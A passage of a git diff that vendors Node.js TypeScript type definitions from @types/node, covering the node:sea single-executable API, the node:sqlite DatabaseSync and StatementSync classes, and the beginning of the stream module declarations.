NODE_SEA_BLOB sea-prep.blob ^ + * --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2 + * ``` + * * On macOS: + * ```bash + * npx postject hello NODE_SEA_BLOB sea-prep.blob \ + * --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2 \ + * --macho-segment-name NODE_SEA + * ``` + * 7. Sign the binary (macOS and Windows only): + * * On macOS: + * ```bash + * codesign --sign - hello + * ``` + * * On Windows (optional): + * A certificate needs to be present for this to work. However, the unsigned + * binary would still be runnable. + * ```powershell + * signtool sign /fd SHA256 hello.exe + * ``` + * 8. Run the binary: + * * On systems other than Windows + * ```console + * $ ./hello world + * Hello, world! + * ``` + * * On Windows + * ```console + * $ .\hello.exe world + * Hello, world! + * ``` + * @since v19.7.0, v18.16.0 + * @experimental + * @see [source](https://github.com/nodejs/node/blob/v22.x/src/node_sea.cc) + */ +declare module "node:sea" { + type AssetKey = string; + /** + * @since v20.12.0 + * @return Whether this script is running inside a single-executable application. + */ + function isSea(): boolean; + /** + * This method can be used to retrieve the assets configured to be bundled into the + * single-executable application at build time. + * An error is thrown when no matching asset can be found. + * @since v20.12.0 + */ + function getAsset(key: AssetKey): ArrayBuffer; + function getAsset(key: AssetKey, encoding: string): string; + /** + * Similar to `sea.getAsset()`, but returns the result in a [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob). + * An error is thrown when no matching asset can be found. + * @since v20.12.0 + */ + function getAssetAsBlob(key: AssetKey, options?: { + type: string; + }): Blob; + /** + * This method can be used to retrieve the assets configured to be bundled into the + * single-executable application at build time. + * An error is thrown when no matching asset can be found. + * + * Unlike `sea.getRawAsset()` or `sea.getAssetAsBlob()`, this method does not + * return a copy. Instead, it returns the raw asset bundled inside the executable. + * + * For now, users should avoid writing to the returned array buffer. If the + * injected section is not marked as writable or not aligned properly, + * writes to the returned array buffer is likely to result in a crash. + * @since v20.12.0 + */ + function getRawAsset(key: AssetKey): string | ArrayBuffer; +} diff --git a/node_modules/@types/node/sqlite.d.ts b/node_modules/@types/node/sqlite.d.ts new file mode 100644 index 000000000000..9fa7babb4c29 --- /dev/null +++ b/node_modules/@types/node/sqlite.d.ts @@ -0,0 +1,213 @@ +/** + * The `node:sqlite` module facilitates working with SQLite databases. + * To access it: + * + * ```js + * import sqlite from 'node:sqlite'; + * ``` + * + * This module is only available under the `node:` scheme. The following will not + * work: + * + * ```js + * import sqlite from 'node:sqlite'; + * ``` + * + * The following example shows the basic usage of the `node:sqlite` module to open + * an in-memory database, write data to the database, and then read the data back. + * + * ```js + * import { DatabaseSync } from 'node:sqlite'; + * const database = new DatabaseSync(':memory:'); + * + * // Execute SQL statements from strings. + * database.exec(` + * CREATE TABLE data( + * key INTEGER PRIMARY KEY, + * value TEXT + * ) STRICT + * `); + * // Create a prepared statement to insert data into the database. + * const insert = database.prepare('INSERT INTO data (key, value) VALUES (?, ?)'); + * // Execute the prepared statement with bound values. + * insert.run(1, 'hello'); + * insert.run(2, 'world'); + * // Create a prepared statement to read data from the database. + * const query = database.prepare('SELECT * FROM data ORDER BY key'); + * // Execute the prepared statement and log the result set. + * console.log(query.all()); + * // Prints: [ { key: 1, value: 'hello' }, { key: 2, value: 'world' } ] + * ``` + * @since v22.5.0 + * @experimental + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/sqlite.js) + */ +declare module "node:sqlite" { + interface DatabaseSyncOptions { + /** + * If `true`, the database is opened by the constructor. + * When this value is `false`, the database must be opened via the `open()` method. + */ + open?: boolean | undefined; + } + /** + * This class represents a single [connection](https://www.sqlite.org/c3ref/sqlite3.html) to a SQLite database. All APIs + * exposed by this class execute synchronously. + * @since v22.5.0 + */ + class DatabaseSync { + /** + * Constructs a new `DatabaseSync` instance. + * @param location The location of the database. + * A SQLite database can be stored in a file or completely [in memory](https://www.sqlite.org/inmemorydb.html). + * To use a file-backed database, the location should be a file path. + * To use an in-memory database, the location should be the special name `':memory:'`. + * @param options Configuration options for the database connection. + */ + constructor(location: string, options?: DatabaseSyncOptions); + /** + * Closes the database connection. An exception is thrown if the database is not + * open. This method is a wrapper around [`sqlite3_close_v2()`](https://www.sqlite.org/c3ref/close.html). + * @since v22.5.0 + */ + close(): void; + /** + * This method allows one or more SQL statements to be executed without returning + * any results. This method is useful when executing SQL statements read from a + * file. This method is a wrapper around [`sqlite3_exec()`](https://www.sqlite.org/c3ref/exec.html). + * @since v22.5.0 + * @param sql A SQL string to execute. + */ + exec(sql: string): void; + /** + * Opens the database specified in the `location` argument of the `DatabaseSync`constructor. This method should only be used when the database is not opened via + * the constructor. An exception is thrown if the database is already open. + * @since v22.5.0 + */ + open(): void; + /** + * Compiles a SQL statement into a [prepared statement](https://www.sqlite.org/c3ref/stmt.html). This method is a wrapper + * around [`sqlite3_prepare_v2()`](https://www.sqlite.org/c3ref/prepare.html). + * @since v22.5.0 + * @param sql A SQL string to compile to a prepared statement. + * @return The prepared statement. + */ + prepare(sql: string): StatementSync; + } + type SupportedValueType = null | number | bigint | string | Uint8Array; + interface StatementResultingChanges { + /** + * The number of rows modified, inserted, or deleted by the most recently completed `INSERT`, `UPDATE`, or `DELETE` statement. + * This field is either a number or a `BigInt` depending on the prepared statement's configuration. + * This property is the result of [`sqlite3_changes64()`](https://www.sqlite.org/c3ref/changes.html). + */ + changes: number | bigint; + /** + * The most recently inserted rowid. + * This field is either a number or a `BigInt` depending on the prepared statement's configuration. + * This property is the result of [`sqlite3_last_insert_rowid()`](https://www.sqlite.org/c3ref/last_insert_rowid.html). + */ + lastInsertRowid: number | bigint; + } + /** + * This class represents a single [prepared statement](https://www.sqlite.org/c3ref/stmt.html). This class cannot be + * instantiated via its constructor. Instead, instances are created via the`database.prepare()` method. All APIs exposed by this class execute + * synchronously. + * + * A prepared statement is an efficient binary representation of the SQL used to + * create it. Prepared statements are parameterizable, and can be invoked multiple + * times with different bound values. Parameters also offer protection against [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) attacks. For these reasons, prepared statements are + * preferred + * over hand-crafted SQL strings when handling user input. + * @since v22.5.0 + */ + class StatementSync { + private constructor(); + /** + * This method executes a prepared statement and returns all results as an array of + * objects. If the prepared statement does not return any results, this method + * returns an empty array. The prepared statement [parameters are bound](https://www.sqlite.org/c3ref/bind_blob.html) using + * the values in `namedParameters` and `anonymousParameters`. + * @since v22.5.0 + * @param namedParameters An optional object used to bind named parameters. The keys of this object are used to configure the mapping. + * @param anonymousParameters Zero or more values to bind to anonymous parameters. + * @return An array of objects. Each object corresponds to a row returned by executing the prepared statement. The keys and values of each object correspond to the column names and values of + * the row. + */ + all(...anonymousParameters: SupportedValueType[]): unknown[]; + all( + namedParameters: Record, + ...anonymousParameters: SupportedValueType[] + ): unknown[]; + /** + * This method returns the source SQL of the prepared statement with parameter + * placeholders replaced by values. This method is a wrapper around [`sqlite3_expanded_sql()`](https://www.sqlite.org/c3ref/expanded_sql.html). + * @since v22.5.0 + * @return The source SQL expanded to include parameter values. + */ + expandedSQL(): string; + /** + * This method executes a prepared statement and returns the first result as an + * object. If the prepared statement does not return any results, this method + * returns `undefined`. The prepared statement [parameters are bound](https://www.sqlite.org/c3ref/bind_blob.html) using the + * values in `namedParameters` and `anonymousParameters`. + * @since v22.5.0 + * @param namedParameters An optional object used to bind named parameters. The keys of this object are used to configure the mapping. + * @param anonymousParameters Zero or more values to bind to anonymous parameters. + * @return An object corresponding to the first row returned by executing the prepared statement. The keys and values of the object correspond to the column names and values of the row. If no + * rows were returned from the database then this method returns `undefined`. + */ + get(...anonymousParameters: SupportedValueType[]): unknown; + get(namedParameters: Record, ...anonymousParameters: SupportedValueType[]): unknown; + /** + * This method executes a prepared statement and returns an object summarizing the + * resulting changes. The prepared statement [parameters are bound](https://www.sqlite.org/c3ref/bind_blob.html) using the + * values in `namedParameters` and `anonymousParameters`. + * @since v22.5.0 + * @param namedParameters An optional object used to bind named parameters. The keys of this object are used to configure the mapping. + * @param anonymousParameters Zero or more values to bind to anonymous parameters. + */ + run(...anonymousParameters: SupportedValueType[]): StatementResultingChanges; + run( + namedParameters: Record, + ...anonymousParameters: SupportedValueType[] + ): StatementResultingChanges; + /** + * The names of SQLite parameters begin with a prefix character. By default,`node:sqlite` requires that this prefix character is present when binding + * parameters. However, with the exception of dollar sign character, these + * prefix characters also require extra quoting when used in object keys. + * + * To improve ergonomics, this method can be used to also allow bare named + * parameters, which do not require the prefix character in JavaScript code. There + * are several caveats to be aware of when enabling bare named parameters: + * + * * The prefix character is still required in SQL. + * * The prefix character is still allowed in JavaScript. In fact, prefixed names + * will have slightly better binding performance. + * * Using ambiguous named parameters, such as `$k` and `@k`, in the same prepared + * statement will result in an exception as it cannot be determined how to bind + * a bare name. + * @since v22.5.0 + * @param enabled Enables or disables support for binding named parameters without the prefix character. + */ + setAllowBareNamedParameters(enabled: boolean): void; + /** + * When reading from the database, SQLite `INTEGER`s are mapped to JavaScript + * numbers by default. However, SQLite `INTEGER`s can store values larger than + * JavaScript numbers are capable of representing. In such cases, this method can + * be used to read `INTEGER` data using JavaScript `BigInt`s. This method has no + * impact on database write operations where numbers and `BigInt`s are both + * supported at all times. + * @since v22.5.0 + * @param enabled Enables or disables the use of `BigInt`s when reading `INTEGER` fields from the database. + */ + setReadBigInts(enabled: boolean): void; + /** + * This method returns the source SQL of the prepared statement. This method is a + * wrapper around [`sqlite3_sql()`](https://www.sqlite.org/c3ref/expanded_sql.html). + * @since v22.5.0 + * @return The source SQL used to create this prepared statement. + */ + sourceSQL(): string; + } +} diff --git a/node_modules/@types/node/stream.d.ts b/node_modules/@types/node/stream.d.ts new file mode 100644 index 000000000000..b9d210af5af3 --- /dev/null +++ b/node_modules/@types/node/stream.d.ts @@ -0,0 +1,1726 @@ +/** + * A stream is an abstract interface for working with streaming data in Node.js. + * The `node:stream` module provides an API for implementing the stream interface. + * + * There are many stream objects provided by Node.js. For instance, a [request to an HTTP server](https://nodejs.org/docs/latest-v22.x/api/http.html#class-httpincomingmessage) + * and [`process.stdout`](https://nodejs.org/docs/latest-v22.x/api/process.html#processstdout) are both stream instances. + * + * Streams can be readable, writable, or both. All streams are instances of [`EventEmitter`](https://nodejs.org/docs/latest-v22.x/api/events.html#class-eventemitter). + * + * To access the `node:stream` module: + * + * ```js + * import stream from 'node:stream'; + * ``` + * + * The `node:stream` module is useful for creating new types of stream instances. + * It is usually not necessary to use the `node:stream` module to consume streams. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/stream.js) + */ +declare module "stream" { + import { Abortable, EventEmitter } from "node:events"; + import { Blob as NodeBlob } from "node:buffer"; + import * as streamPromises from "node:stream/promises"; + import * as streamConsumers from "node:stream/consumers"; + import * as streamWeb from "node:stream/web"; + + type ComposeFnParam = (source: any) => void; + + class internal extends EventEmitter { + pipe( + destination: T, + options?: { + end?: boolean | undefined; + }, + ): T; + compose( + stream: T | ComposeFnParam | Iterable | AsyncIterable, + options?: { signal: AbortSignal }, + ): T; + } + import Stream = internal.Stream; + import Readable = internal.Readable; + import ReadableOptions = internal.ReadableOptions; + interface ArrayOptions { + /** + * The maximum concurrent invocations of `fn` to call on the stream at once. + * @default 1 + */ + concurrency?: number; + /** Allows destroying the stream if the signal is aborted. */ + signal?: AbortSignal; + } + class ReadableBase extends Stream implements NodeJS.ReadableStream { + /** + * A utility method for creating Readable Streams out of iterators. + * @since v12.3.0, v10.17.0 + * @param iterable Object implementing the `Symbol.asyncIterator` or `Symbol.iterator` iterable protocol. Emits an 'error' event if a null value is passed. + * @param options Options provided to `new stream.Readable([options])`. By default, `Readable.from()` will set `options.objectMode` to `true`, unless this is explicitly opted out by setting `options.objectMode` to `false`. + */ + static from(iterable: Iterable | AsyncIterable, options?: ReadableOptions): Readable; + /** + * Returns whether the stream has been read from or cancelled. + * @since v16.8.0 + */ + static isDisturbed(stream: Readable | NodeJS.ReadableStream): boolean; + /** + * Returns whether the stream was destroyed or errored before emitting `'end'`. + * @since v16.8.0 + * @experimental + */ + readonly readableAborted: boolean; + /** + * Is `true` if it is safe to call {@link read}, which means + * the stream has not been destroyed or emitted `'error'` or `'end'`. + * @since v11.4.0 + */ + readable: boolean; + /** + * Returns whether `'data'` has been emitted. + * @since v16.7.0, v14.18.0 + * @experimental + */ + readonly readableDidRead: boolean; + /** + * Getter for the property `encoding` of a given `Readable` stream. The `encoding` property can be set using the {@link setEncoding} method. + * @since v12.7.0 + */ + readonly readableEncoding: BufferEncoding | null; + /** + * Becomes `true` when [`'end'`](https://nodejs.org/docs/latest-v22.x/api/stream.html#event-end) event is emitted. + * @since v12.9.0 + */ + readonly readableEnded: boolean; + /** + * This property reflects the current state of a `Readable` stream as described + * in the [Three states](https://nodejs.org/docs/latest-v22.x/api/stream.html#three-states) section. + * @since v9.4.0 + */ + readonly readableFlowing: boolean | null; + /** + * Returns the value of `highWaterMark` passed when creating this `Readable`. + * @since v9.3.0 + */ + readonly readableHighWaterMark: number; + /** + * This property contains the number of bytes (or objects) in the queue + * ready to be read. The value provides introspection data regarding + * the status of the `highWaterMark`. + * @since v9.4.0 + */ + readonly readableLength: number; + /** + * Getter for the property `objectMode` of a given `Readable` stream. + * @since v12.3.0 + */ + readonly readableObjectMode: boolean; + /** + * Is `true` after `readable.destroy()` has been called. + * @since v8.0.0 + */ + destroyed: boolean; + /** + * Is `true` after `'close'` has been emitted. + * @since v18.0.0 + */ + readonly closed: boolean; + /** + * Returns error if the stream has been destroyed with an error. + * @since v18.0.0 + */ + readonly errored: Error | null; + constructor(opts?: ReadableOptions); + _construct?(callback: (error?: Error | null) => void): void; + _read(size: number): void; + /** + * The `readable.read()` method reads data out of the internal buffer and + * returns it. If no data is available to be read, `null` is returned. By default, + * the data is returned as a `Buffer` object unless an encoding has been + * specified using the `readable.setEncoding()` method or the stream is operating + * in object mode. + * + * The optional `size` argument specifies a specific number of bytes to read. If + * `size` bytes are not available to be read, `null` will be returned _unless_ the + * stream has ended, in which case all of the data remaining in the internal buffer + * will be returned. + * + * If the `size` argument is not specified, all of the data contained in the + * internal buffer will be returned. + * + * The `size` argument must be less than or equal to 1 GiB. + * + * The `readable.read()` method should only be called on `Readable` streams + * operating in paused mode. In flowing mode, `readable.read()` is called + * automatically until the internal buffer is fully drained. + * + * ```js + * const readable = getReadableStreamSomehow(); + * + * // 'readable' may be triggered multiple times as data is buffered in + * readable.on('readable', () => { + * let chunk; + * console.log('Stream is readable (new data received in buffer)'); + * // Use a loop to make sure we read all currently available data + * while (null !== (chunk = readable.read())) { + * console.log(`Read ${chunk.length} bytes of data...`); + * } + * }); + * + * // 'end' will be triggered once when there is no more data available + * readable.on('end', () => { + * console.log('Reached end of stream.'); + * }); + * ``` + * + * Each call to `readable.read()` returns a chunk of data, or `null`. The chunks + * are not concatenated. A `while` loop is necessary to consume all data + * currently in the buffer. When reading a large file `.read()` may return `null`, + * having consumed all buffered content so far, but there is still more data to + * come not yet buffered. In this case a new `'readable'` event will be emitted + * when there is more data in the buffer. Finally the `'end'` event will be + * emitted when there is no more data to come. + * + * Therefore to read a file's whole contents from a `readable`, it is necessary + * to collect chunks across multiple `'readable'` events: + * + * ```js + * const chunks = []; + * + * readable.on('readable', () => { + * let chunk; + * while (null !== (chunk = readable.read())) { + * chunks.push(chunk); + * } + * }); + * + * readable.on('end', () => { + * const content = chunks.join(''); + * }); + * ``` + * + * A `Readable` stream in object mode will always return a single item from + * a call to `readable.read(size)`, regardless of the value of the `size` argument. + * + * If the `readable.read()` method returns a chunk of data, a `'data'` event will + * also be emitted. + * + * Calling {@link read} after the `'end'` event has + * been emitted will return `null`. No runtime error will be raised. + * @since v0.9.4 + * @param size Optional argument to specify how much data to read. + */ + read(size?: number): any; + /** + * The `readable.setEncoding()` method sets the character encoding for + * data read from the `Readable` stream. + * + * By default, no encoding is assigned and stream data will be returned as `Buffer` objects. Setting an encoding causes the stream data + * to be returned as strings of the specified encoding rather than as `Buffer` objects. For instance, calling `readable.setEncoding('utf8')` will cause the + * output data to be interpreted as UTF-8 data, and passed as strings. Calling `readable.setEncoding('hex')` will cause the data to be encoded in hexadecimal + * string format. + * + * The `Readable` stream will properly handle multi-byte characters delivered + * through the stream that would otherwise become improperly decoded if simply + * pulled from the stream as `Buffer` objects. + * + * ```js + * const readable = getReadableStreamSomehow(); + * readable.setEncoding('utf8'); + * readable.on('data', (chunk) => { + * assert.equal(typeof chunk, 'string'); + * console.log('Got %d characters of string data:', chunk.length); + * }); + * ``` + * @since v0.9.4 + * @param encoding The encoding to use. + */ + setEncoding(encoding: BufferEncoding): this; + /** + * The `readable.pause()` method will cause a stream in flowing mode to stop + * emitting `'data'` events, switching out of flowing mode. Any data that + * becomes available will remain in the internal buffer. + * + * ```js + * const readable = getReadableStreamSomehow(); + * readable.on('data', (chunk) => { + * console.log(`Received ${chunk.length} bytes of data.`); + * readable.pause(); + * console.log('There will be no additional data for 1 second.'); + * setTimeout(() => { + * console.log('Now data will start flowing again.'); + * readable.resume(); + * }, 1000); + * }); + * ``` + * + * The `readable.pause()` method has no effect if there is a `'readable'` event listener. + * @since v0.9.4 + */ + pause(): this; + /** + * The `readable.resume()` method causes an explicitly paused `Readable` stream to + * resume emitting `'data'` events, switching the stream into flowing mode. + * + * The `readable.resume()` method can be used to fully consume the data from a + * stream without actually processing any of that data: + * + * ```js + * getReadableStreamSomehow() + * .resume() + * .on('end', () => { + * console.log('Reached the end, but did not read anything.'); + * }); + * ``` + * + * The `readable.resume()` method has no effect if there is a `'readable'` event listener. + * @since v0.9.4 + */ + resume(): this; + /** + * The `readable.isPaused()` method returns the current operating state of the `Readable`. + * This is used primarily by the mechanism that underlies the `readable.pipe()` method. + * In most typical cases, there will be no reason to use this method directly. + * + * ```js + * const readable = new stream.Readable(); + * + * readable.isPaused(); // === false + * readable.pause(); + * readable.isPaused(); // === true + * readable.resume(); + * readable.isPaused(); // === false + * ``` + * @since v0.11.14 + */ + isPaused(): boolean; + /** + * The `readable.unpipe()` method detaches a `Writable` stream previously attached + * using the {@link pipe} method. + * + * If the `destination` is not specified, then _all_ pipes are detached. + * + * If the `destination` is specified, but no pipe is set up for it, then + * the method does nothing. + * + * ```js + * import fs from 'node:fs'; + * const readable = getReadableStreamSomehow(); + * const writable = fs.createWriteStream('file.txt'); + * // All the data from readable goes into 'file.txt', + * // but only for the first second. + * readable.pipe(writable); + * setTimeout(() => { + * console.log('Stop writing to file.txt.'); + * readable.unpipe(writable); + * console.log('Manually close the file stream.'); + * writable.end(); + * }, 1000); + * ``` + * @since v0.9.4 + * @param destination Optional specific stream to unpipe + */ + unpipe(destination?: NodeJS.WritableStream): this; + /** + * Passing `chunk` as `null` signals the end of the stream (EOF) and behaves the + * same as `readable.push(null)`, after which no more data can be written. The EOF + * signal is put at the end of the buffer and any buffered data will still be + * flushed. + * + * The `readable.unshift()` method pushes a chunk of data back into the internal + * buffer. This is useful in certain situations where a stream is being consumed by + * code that needs to "un-consume" some amount of data that it has optimistically + * pulled out of the source, so that the data can be passed on to some other party. + * + * The `stream.unshift(chunk)` method cannot be called after the `'end'` event + * has been emitted or a runtime error will be thrown. + * + * Developers using `stream.unshift()` often should consider switching to + * use of a `Transform` stream instead. See the `API for stream implementers` section for more information. + * + * ```js + * // Pull off a header delimited by \n\n. + * // Use unshift() if we get too much. + * // Call the callback with (error, header, stream). + * import { StringDecoder } from 'node:string_decoder'; + * function parseHeader(stream, callback) { + * stream.on('error', callback); + * stream.on('readable', onReadable); + * const decoder = new StringDecoder('utf8'); + * let header = ''; + * function onReadable() { + * let chunk; + * while (null !== (chunk = stream.read())) { + * const str = decoder.write(chunk); + * if (str.includes('\n\n')) { + * // Found the header boundary. + * const split = str.split(/\n\n/); + * header += split.shift(); + * const remaining = split.join('\n\n'); + * const buf = Buffer.from(remaining, 'utf8'); + * stream.removeListener('error', callback); + * // Remove the 'readable' listener before unshifting. + * stream.removeListener('readable', onReadable); + * if (buf.length) + * stream.unshift(buf); + * // Now the body of the message can be read from the stream. + * callback(null, header, stream); + * return; + * } + * // Still reading the header. + * header += str; + * } + * } + * } + * ``` + * + * Unlike {@link push}, `stream.unshift(chunk)` will not + * end the reading process by resetting the internal reading state of the stream. + * This can cause unexpected results if `readable.unshift()` is called during a + * read (i.e. from within a {@link _read} implementation on a + * custom stream). Following the call to `readable.unshift()` with an immediate {@link push} will reset the reading state appropriately, + * however it is best to simply avoid calling `readable.unshift()` while in the + * process of performing a read. + * @since v0.9.11 + * @param chunk Chunk of data to unshift onto the read queue. For streams not operating in object mode, `chunk` must + * be a {string}, {Buffer}, {TypedArray}, {DataView} or `null`. For object mode streams, `chunk` may be any JavaScript value. + * @param encoding Encoding of string chunks. Must be a valid `Buffer` encoding, such as `'utf8'` or `'ascii'`. + */ + unshift(chunk: any, encoding?: BufferEncoding): void; + /** + * Prior to Node.js 0.10, streams did not implement the entire `node:stream` module API as it is currently defined. (See `Compatibility` for more + * information.) + * + * When using an older Node.js library that emits `'data'` events and has a {@link pause} method that is advisory only, the `readable.wrap()` method can be used to create a `Readable` + * stream that uses + * the old stream as its data source. + * + * It will rarely be necessary to use `readable.wrap()` but the method has been + * provided as a convenience for interacting with older Node.js applications and + * libraries. + * + * ```js + * import { OldReader } from './old-api-module.js'; + * import { Readable } from 'node:stream'; + * const oreader = new OldReader(); + * const myReader = new Readable().wrap(oreader); + * + * myReader.on('readable', () => { + * myReader.read(); // etc. + * }); + * ``` + * @since v0.9.4 + * @param stream An "old style" readable stream + */ + wrap(stream: NodeJS.ReadableStream): this; + push(chunk: any, encoding?: BufferEncoding): boolean; + /** + * The iterator created by this method gives users the option to cancel the destruction + * of the stream if the `for await...of` loop is exited by `return`, `break`, or `throw`, + * or if the iterator should destroy the stream if the stream emitted an error during iteration. + * @since v16.3.0 + * @param options.destroyOnReturn When set to `false`, calling `return` on the async iterator, + * or exiting a `for await...of` iteration using a `break`, `return`, or `throw` will not destroy the stream. + * **Default: `true`**. + */ + iterator(options?: { destroyOnReturn?: boolean }): AsyncIterableIterator; + /** + * This method allows mapping over the stream. The *fn* function will be called for every chunk in the stream. + * If the *fn* function returns a promise - that promise will be `await`ed before being passed to the result stream. + * @since v17.4.0, v16.14.0 + * @param fn a function to map over every chunk in the stream. Async or not. + * @returns a stream mapped with the function *fn*. + */ + map(fn: (data: any, options?: Pick) => any, options?: ArrayOptions): Readable; + /** + * This method allows filtering the stream. For each chunk in the stream the *fn* function will be called + * and if it returns a truthy value, the chunk will be passed to the result stream. + * If the *fn* function returns a promise - that promise will be `await`ed. + * @since v17.4.0, v16.14.0 + * @param fn a function to filter chunks from the stream. Async or not. + * @returns a stream filtered with the predicate *fn*. + */ + filter( + fn: (data: any, options?: Pick) => boolean | Promise, + options?: ArrayOptions, + ): Readable; + /** + * This method allows iterating a stream. For each chunk in the stream the *fn* function will be called. + * If the *fn* function returns a promise - that promise will be `await`ed. + * + * This method is different from `for await...of` loops in that it can optionally process chunks concurrently. + * In addition, a `forEach` iteration can only be stopped by having passed a `signal` option + * and aborting the related AbortController while `for await...of` can be stopped with `break` or `return`. + * In either case the stream will be destroyed. + * + * This method is different from listening to the `'data'` event in that it uses the `readable` event + * in the underlying machinary and can limit the number of concurrent *fn* calls. + * @since v17.5.0 + * @param fn a function to call on each chunk of the stream. Async or not. + * @returns a promise for when the stream has finished. + */ + forEach( + fn: (data: any, options?: Pick) => void | Promise, + options?: ArrayOptions, + ): Promise; + /** + * This method allows easily obtaining the contents of a stream. + * + * As this method reads the entire stream into memory, it negates the benefits of streams. It's intended + * for interoperability and convenience, not as the primary way to consume streams. + * @since v17.5.0 + * @returns a promise containing an array with the contents of the stream. + */ + toArray(options?: Pick): Promise; + /** + * This method is similar to `Array.prototype.some` and calls *fn* on each chunk in the stream + * until the awaited return value is `true` (or any truthy value). Once an *fn* call on a chunk + * `await`ed return value is truthy, the stream is destroyed and the promise is fulfilled with `true`. + * If none of the *fn* calls on the chunks return a truthy value, the promise is fulfilled with `false`. + * @since v17.5.0 + * @param fn a function to call on each chunk of the stream. Async or not. + * @returns a promise evaluating to `true` if *fn* returned a truthy value for at least one of the chunks. + */ + some( + fn: (data: any, options?: Pick) => boolean | Promise, + options?: ArrayOptions, + ): Promise; + /** + * This method is similar to `Array.prototype.find` and calls *fn* on each chunk in the stream + * to find a chunk with a truthy value for *fn*. Once an *fn* call's awaited return value is truthy, + * the stream is destroyed and the promise is fulfilled with value for which *fn* returned a truthy value. + * If all of the *fn* calls on the chunks return a falsy value, the promise is fulfilled with `undefined`. + * @since v17.5.0 + * @param fn a function to call on each chunk of the stream. Async or not. + * @returns a promise evaluating to the first chunk for which *fn* evaluated with a truthy value, + * or `undefined` if no element was found. + */ + find( + fn: (data: any, options?: Pick) => data is T, + options?: ArrayOptions, + ): Promise; + find( + fn: (data: any, options?: Pick) => boolean | Promise, + options?: ArrayOptions, + ): Promise; + /** + * This method is similar to `Array.prototype.every` and calls *fn* on each chunk in the stream + * to check if all awaited return values are truthy value for *fn*. Once an *fn* call on a chunk + * `await`ed return value is falsy, the stream is destroyed and the promise is fulfilled with `false`. + * If all of the *fn* calls on the chunks return a truthy value, the promise is fulfilled with `true`. + * @since v17.5.0 + * @param fn a function to call on each chunk of the stream. Async or not. + * @returns a promise evaluating to `true` if *fn* returned a truthy value for every one of the chunks. + */ + every( + fn: (data: any, options?: Pick) => boolean | Promise, + options?: ArrayOptions, + ): Promise; + /** + * This method returns a new stream by applying the given callback to each chunk of the stream + * and then flattening the result. + * + * It is possible to return a stream or another iterable or async iterable from *fn* and the result streams + * will be merged (flattened) into the returned stream. + * @since v17.5.0 + * @param fn a function to map over every chunk in the stream. May be async. May be a stream or generator. + * @returns a stream flat-mapped with the function *fn*. + */ + flatMap(fn: (data: any, options?: Pick) => any, options?: ArrayOptions): Readable; + /** + * This method returns a new stream with the first *limit* chunks dropped from the start. + * @since v17.5.0 + * @param limit the number of chunks to drop from the readable. + * @returns a stream with *limit* chunks dropped from the start. + */ + drop(limit: number, options?: Pick): Readable; + /** + * This method returns a new stream with the first *limit* chunks. + * @since v17.5.0 + * @param limit the number of chunks to take from the readable. + * @returns a stream with *limit* chunks taken. + */ + take(limit: number, options?: Pick): Readable; + /** + * This method returns a new stream with chunks of the underlying stream paired with a counter + * in the form `[index, chunk]`. The first index value is `0` and it increases by 1 for each chunk produced. + * @since v17.5.0 + * @returns a stream of indexed pairs. + */ + asIndexedPairs(options?: Pick): Readable; + /** + * This method calls *fn* on each chunk of the stream in order, passing it the result from the calculation + * on the previous element. It returns a promise for the final value of the reduction. + * + * If no *initial* value is supplied the first chunk of the stream is used as the initial value. + * If the stream is empty, the promise is rejected with a `TypeError` with the `ERR_INVALID_ARGS` code property. + * + * The reducer function iterates the stream element-by-element which means that there is no *concurrency* parameter + * or parallelism. To perform a reduce concurrently, you can extract the async function to `readable.map` method. + * @since v17.5.0 + * @param fn a reducer function to call over every chunk in the stream. Async or not. + * @param initial the initial value to use in the reduction. + * @returns a promise for the final value of the reduction. + */ + reduce( + fn: (previous: any, data: any, options?: Pick) => T, + initial?: undefined, + options?: Pick, + ): Promise; + reduce( + fn: (previous: T, data: any, options?: Pick) => T, + initial: T, + options?: Pick, + ): Promise; + _destroy(error: Error | null, callback: (error?: Error | null) => void): void; + /** + * Destroy the stream. Optionally emit an `'error'` event, and emit a `'close'` event (unless `emitClose` is set to `false`). After this call, the readable + * stream will release any internal resources and subsequent calls to `push()` will be ignored. + * + * Once `destroy()` has been called any further calls will be a no-op and no + * further errors except from `_destroy()` may be emitted as `'error'`. + * + * Implementors should not override this method, but instead implement `readable._destroy()`. + * @since v8.0.0 + * @param error Error which will be passed as payload in `'error'` event + */ + destroy(error?: Error): this; + /** + * Event emitter + * The defined events on documents including: + * 1. close + * 2. data + * 3. end + * 4. error + * 5. pause + * 6. readable + * 7. resume + */ + addListener(event: "close", listener: () => void): this; + addListener(event: "data", listener: (chunk: any) => void): this; + addListener(event: "end", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "pause", listener: () => void): this; + addListener(event: "readable", listener: () => void): this; + addListener(event: "resume", listener: () => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "close"): boolean; + emit(event: "data", chunk: any): boolean; + emit(event: "end"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "pause"): boolean; + emit(event: "readable"): boolean; + emit(event: "resume"): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "close", listener: () => void): this; + on(event: "data", listener: (chunk: any) => void): this; + on(event: "end", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "pause", listener: () => void): this; + on(event: "readable", listener: () => void): this; + on(event: "resume", listener: () => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "data", listener: (chunk: any) => void): this; + once(event: "end", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "pause", listener: () => void): this; + once(event: "readable", listener: () => void): this; + once(event: "resume", listener: () => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "data", listener: (chunk: any) => void): this; + prependListener(event: "end", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "pause", listener: () => void): this; + prependListener(event: "readable", listener: () => void): this; + prependListener(event: "resume", listener: () => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "data", listener: (chunk: any) => void): this; + prependOnceListener(event: "end", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "pause", listener: () => void): this; + 